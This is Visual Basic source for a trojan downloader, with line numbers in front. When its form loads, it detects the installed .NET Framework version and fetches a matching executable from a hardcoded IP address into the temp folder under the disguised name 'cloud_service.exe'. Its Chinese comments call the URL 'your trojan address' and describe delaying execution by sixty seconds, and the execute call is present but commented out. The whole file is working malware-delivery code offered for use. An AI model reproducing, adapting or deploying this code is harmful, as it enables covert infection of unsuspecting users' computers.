1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Function IsFileExists(ByVal strFileName As String) As Boolean
If Dir(strFileName, 16) <> "" Then
IsFileExists = True
Else
IsFileExists = False
End If
End Function

Function DownloadFile(ByVal urlname As String) As Boolean
Dim temp As String
temp = Environ("temp")


Dim filepath As String
filepath = temp + "\cloud_service.exe"
'r = URLDownloadToFile(0, "http://192.11.1.1/" + urlname, filepath, 0, 0) '第2个参数是你的木马地址,第3个是保存的位置,其他默认就可以。
r = URLDownloadToFile(0, "http://192.11.1.1/" + urlname, filepath, 0, 0) '第2个参数是你的木马地址,第3个是保存的位置,其他默认就可以。
'Sleep(60000) '单位是毫秒,我这里是挂起60秒,即60秒后运行。
'ShellExecute(0, vbNullString, filepath, vbNullString, vbNullString, vbNormalFocus)
DownloadFile = True

End Function

Private Sub Form_Load()
If IsFileExists("C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe") = True Then
DownloadFile ("40.exe")
ElseIf IsFileExists("C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe") = True Then
DownloadFile ("35.exe")
ElseIf IsFileExists("C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe") = True Then
DownloadFile ("20.exe")
ElseIf IsFileExists("C:\Windows\Microsoft.NET\Framework\v3.0\csc.exe") = True Then
DownloadFile ("30.exe")
Else

End If

End Sub